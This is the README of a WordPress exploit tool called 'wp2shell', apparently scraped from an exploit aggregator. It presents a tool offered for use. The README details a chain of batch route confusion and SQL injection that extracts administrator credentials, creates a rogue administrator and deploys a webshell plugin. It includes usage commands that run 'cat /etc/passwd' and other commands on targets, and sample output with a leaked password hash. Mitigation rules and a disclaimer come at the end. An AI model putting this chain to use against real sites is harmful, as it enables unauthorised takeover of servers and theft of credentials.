Share
## https://sploitus.com/exploit?id=606FB8AC-D401-5B7B-9F7E-75A939D12BDA
# wp2shell

Pre-Authentication Remote Code Execution in WordPress Core.

**CVE-2026-60137** (SQL Injection in WP_Query) chained with **CVE-2026-63030** (REST API Batch Route Confusion).

> For educational and authorised security research purposes only.

---

## Affected Versions

WordPress 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are vulnerable.
Fixed in 6.9.5 and 7.0.2.

---

## How It Works

The exploit chains two vulnerabilities:

**CVE-2026-63030 โ€” Batch Route Confusion.** The REST API batch endpoint at `/wp-json/batch/v1` (or `/?rest_route=/batch/v1`) processes sub-requests in two phases: it matches each path to a handler, then dispatches each request through its matched handler. When a deliberately malformed path (`///`) is inserted as the first sub-request, WordPress stores a `WP_Error` at index 0 of the matched-routes array. This shifts every subsequent handler assignment back by one index. The dispatch loop then pairs each request with the wrong handler โ€” a request validated against Schema A is executed by Handler B, bypassing the parameter sanitization that Schema A enforced.

**CVE-2026-60137 โ€” SQL Injection in WP_Query.** The posts collection endpoint accepts an `author_exclude` parameter whose schema enforces integer-typed array values, sanitizing each element with `absint()` before it reaches `WP_Query`. The batch desync causes this parameter to bypass schema validation entirely and arrive at `WP_Query`'s `author__not_in` logic as a raw string. Because `absint()` is only applied inside an `is_array()` branch, the raw string is interpolated directly into the SQL `WHERE` clause, enabling `UNION SELECT` injection.

The full chain proceeds in four steps:

1. Confirm the batch endpoint is reachable and the desync is functioning.
2. Extract the database version, user, table prefix, and administrator credentials via `UNION SELECT` rows reflected in the REST JSON response.
3. Create a new administrator account by injecting fake `wp_posts` rows that poison the oEmbed cache and trigger `WP_Customize_Manager`'s changeset publish hook, which calls `wp_insert_user()` with `role=administrator`.
4. Authenticate with the new account, upload a single-file PHP plugin as a zip archive through the standard plugin upload interface, activate it, and execute OS commands through the shell.

---

## Requirements

- Python 3.8 or later
- No third-party dependencies (standard library only)
- Network access to the target WordPress instance

---

## Installation

```bash
git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
```

No pip install required.

---

## Usage

### Full Exploit Chain

Runs all four steps: desync confirmation, SQL reconnaissance, administrator creation, and webshell deployment. A new administrator account and plugin are created on every run.

```bash
python3 exploit.py --url http://TARGET --command "id"
```

```bash
python3 exploit.py --url http://TARGET --command "uname -a"
```

```bash
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
```

Against an HTTPS target with a self-signed certificate:

```bash
python3 exploit.py --url https://TARGET --command "id" --insecure
```

### Re-Use an Existing Webshell

After a full-chain run completes, the script prints a ready-to-use re-use command with the deployed credentials and shell path pre-filled. Pass those three flags on subsequent runs to skip the SQL and admin-creation phases entirely:

```bash
python3 exploit.py \
  --url                  http://TARGET \
  --command              "whoami" \
  --admin-user           wp2_poc_da4d1cf83acb \
  --admin-password       "Wp2!J47LBKLEbu4ebAJo" \
  --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
```

---

## Command-Line Reference

```
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
                  [--admin-user USER] [--admin-password PASS]
                  [--prev-webshell-plugin PATH]
```

| Flag | Short | Description |
|------|-------|-------------|
| `--url` | `-u` | Target WordPress base URL. Default: `http://localhost:8080` |
| `--command` | `-c` | OS command to execute. Default: `id` |
| `--insecure` | `-k` | Disable TLS certificate verification for self-signed certs |
| `--admin-user` | | Re-use mode: previously created administrator username |
| `--admin-password` | | Re-use mode: previously created administrator password |
| `--prev-webshell-plugin` | | Re-use mode: web path to the already-deployed webshell plugin |

The three `--admin-*` / `--prev-webshell-plugin` flags must all be supplied together or not at all.

---

## Example Output

### Full Chain

```
+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  http://localhost:8080
  Command:  uname -a
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi -- database reconnaissance
  [+] Database version  : 10.11.18-MariaDB-ubu2204
  [+] Database user     : wpuser@%
  [+] Database name     : wordpress
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [96, 97, 98]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_poc_da4d1cf83acb  password: Wp2!J47LBKLEbu4ebAJo

[STEP 4] Authenticating + deploying webshell -- running: uname -a
  [*] Logging in to wp-admin...
  [+] Logged in as administrator
  [*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
  [+] Plugin uploaded
  [*] Activating plugin...
  [+] Plugin activated
  [*] Executing: uname -a

============================================================
  COMMAND OUTPUT  --  uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================

  [+] RCE confirmed -- Pre-Auth exploit chain complete

  +-- RE-USE HINT ------------------------------------------+
  |  Skip the full chain next time -- pass these flags:      |
  +-----------------------------------------------------------+

  python3 exploit.py \
    --url                  http://localhost:8080 \
    --command              'YOUR_COMMAND' \
    --admin-user           wp2_poc_da4d1cf83acb \
    --admin-password       'Wp2!J47LBKLEbu4ebAJo' \
    --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
```

---

## Mitigation

Update to a fixed release immediately.

- WordPress 7.0.x: update to **7.0.2** or later โ€” `wp core update`
- WordPress 6.9.x: update to **6.9.5** or later โ€” `wp core update --version=6.9.5`
- WordPress 6.8.x: update to **6.8.6** or later โ€” `wp core update --version=6.8.6`

If patching immediately is not possible, block both URL forms of the batch endpoint at the web server or WAF layer. Both routes must be blocked โ€” a rule covering only the pretty-permalink form leaves the query-string form open:

```nginx
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
```

```apache
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
```

Or disable the endpoint from within WordPress using a must-use plugin:

```php
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );
```

Treat all pre-patch controls as temporary bridges only. Apply the patch as soon as possible and verify the installed version on every internet-facing instance afterwards.

---

## References

- Searchlight Cyber advisory: https://www.assetnote.io/resources/research/wp2shell
- WordPress 7.0.2 release notes: https://wordpress.org/news/2026/07/wordpress-7-0-2
- WordPress 6.9.5 release notes: https://wordpress.org/news/2026/07/wordpress-6-9-5
- Wordfence advisory: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-core/wp2shell
- Rapid7 analysis: https://www.rapid7.com/blog/post/2026/07/wp2shell

---

## Disclaimer

This tool is provided for educational purposes and authorised penetration testing only. Running it against any system without explicit prior written permission from the system owner is illegal. The authors accept no liability for any misuse.